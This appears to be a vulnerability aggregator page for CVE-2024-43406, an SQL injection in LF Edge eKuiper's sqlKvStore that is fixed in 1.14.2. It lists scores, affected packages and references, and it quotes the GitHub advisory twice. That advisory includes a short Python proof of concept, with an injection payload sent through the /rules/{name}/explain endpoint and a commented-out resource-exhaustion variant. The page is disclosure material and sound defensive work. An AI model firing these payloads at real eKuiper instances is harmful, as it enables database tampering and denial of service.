CVE-2024-43406
LF Edge eKuiper has a SQL Injection in sqlKvStore
LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
LF Edge eKuiper has a SQL Injection in sqlKvStore
LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.
- Record
CVE-2024-43406- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
EUVDEUVD-2024-0054
8.8
LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.
- Record
EUVD-2024-0054- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-r5ph-4jxm-6j9p
8.7
LF Edge eKuiper has a SQL Injection in sqlKvStore
Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141
PoC
import requests
from urllib.parse import quote
# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""
#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"
url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler
res = requests.get(url)
print(res.content)
The screenshot shows the malicious SQL query to insert a value:
The screenshot shows the breakpoint of executing the query:
Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.
- Record
GHSA-r5ph-4jxm-6j9p- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
NVD
8.8
LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.
- Record
CVE-2024-43406- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSV
8.8
LF Edge eKuiper has a SQL Injection in sqlKvStore
LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.
- Record
CVE-2024-43406- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVGHSA-r5ph-4jxm-6j9p
8.7
LF Edge eKuiper has a SQL Injection in sqlKvStore
Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141
PoC
import requests
from urllib.parse import quote
# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""
#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"
url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler
res = requests.get(url)
print(res.content)
The screenshot shows the malicious SQL query to insert a value:
The screenshot shows the breakpoint of executing the query:
Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.
- Record
GHSA-r5ph-4jxm-6j9p- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVPYSEC-2024-72
8.8
LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.
- Record
PYSEC-2024-72- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGO-2024-3078 No score
LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper
LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper
- Record
GO-2024-3078- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lf-edge/ekuiperGo |
before 1.14.2 | 1.14.2 |
ekuiperPyPI |
before 1.14.2 | 1.14.2 |
ekuiperPyPI |
before 1.14.2, plus listed versions 0.0.1.post100353925090.0.1.post104696579450.0.1.post105921332450.0.1.post109170634350.0.1.post11433945270 Show 45 moreShow less0.0.1.post114343610370.0.1.post117712141620.0.1.post123690503310.0.1.post145695877270.0.1.post150110166390.0.1.post152652457540.0.1.post15297610770.0.1.post160174398710.0.1.post162124208870.0.1.post16401907520.0.1.post164362204420.0.1.post16569514670.0.1.post16614545340.0.1.post17073381230.0.1.post174253912040.0.1.post179342656790.0.1.post187678267450.0.1.post19265497270.0.1.post195638764300.0.1.post20806684430.0.1.post22381393890.0.1.post246444961270.0.1.post24748926870.0.1.post249752559510.0.1.post264273693740.0.1.post27577223540.0.1.post29106727670.0.1.post29116167620.0.1.post31444380110.0.1.post317637948920.0.1.post32393294720.0.1.post33341446750.0.1.post33348524410.0.1.post34103317570.0.1.post34113210260.0.1.post343043453910.0.1.post34956687320.0.1.post35459486760.0.1.post37120372250.0.1.post37640110910.0.1.post39362659270.0.1.post39548427910.0.1.post41805219930.0.1.post44357078430.0.1.post4562358382 |
1.14.2 |
ekuiperPyPI |
before 1.14.2, plus listed versions 0.0.1.post100353925090.0.1.post104696579450.0.1.post15297610770.0.1.post16401907520.0.1.post1656951467 Show 45 moreShow less0.0.1.post16614545340.0.1.post17073381230.0.1.post19265497270.0.1.post20806684430.0.1.post22381393890.0.1.post24748926870.0.1.post27577223540.0.1.post29106727670.0.1.post29116167620.0.1.post31444380110.0.1.post32393294720.0.1.post33341446750.0.1.post33348524410.0.1.post34103317570.0.1.post34113210260.0.1.post34956687320.0.1.post35459486760.0.1.post37120372250.0.1.post37640110910.0.1.post39362659270.0.1.post39548427910.0.1.post41805219930.0.1.post44357078430.0.1.post45623583820.0.1.post47200143120.0.1.post50103223510.0.1.post50658339050.0.1.post52657259150.0.1.post54842258790.0.1.post58996570360.0.1.post60451139040.0.1.post61442381200.0.1.post64533631720.0.1.post65559160780.0.1.post68201820770.0.1.post72054016500.0.1.post72571069830.0.1.post74043449610.0.1.post74052522260.0.1.post74587818980.0.1.post77970372210.0.1.post79839640870.0.1.post80144285090.0.1.post81503413300.0.1.post8273699428 |
1.14.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-43406 is a high vulnerability (CVSS 8.8) in Lf-edge Ekuiper, published August 20, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.89%, the 59th percentile. Fixed in github.com/lf-edge/ekuiper 1.14.2.
References
github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p
github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503
nvd.nist.gov/vuln/detail/CVE-2024-43406
github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml
github.com/advisories/GHSA-r5ph-4jxm-6j9p
github.com/CVEProject/cvelistV5/tree/main/cves/2024/43xxx/CVE-2024-43406.json
github.com/lf-edge/ekuiper
Left out here: 155 versions. The JSON record has them.